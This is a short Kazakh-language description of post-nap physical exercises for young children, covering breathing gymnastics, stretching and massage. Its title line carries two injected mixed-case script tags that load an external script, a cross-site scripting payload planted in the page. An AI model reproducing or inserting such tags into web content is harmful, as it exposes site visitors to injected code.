Түскі ұйқыдан кейінгі жаттығу - бала әрекетіндегі негізгі дене қимыл түрі<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Түскі ұйқыдан кейінгі жаттығу - бала әрекетіндегі негізгі дене қимыл түрі. Осы жаттығу арқылы балалар дене қимыл-қозғалысын игереді, өзінің психологиялық ерекшеліктерін қалыптастырады. Балаларды ұйқыдан ояту, ұйқыларын ашу үшін тыныс шығару гимнастикасын кереует үстінде жасады. Тартылу жаттығуын және   «Суық-ыстық» тыныс шығару гимнастикасын жасап, бетке массаж, құлақ ұшын уқалау, аяқ өкшесі мен табанға массаждарын  жасап орындады.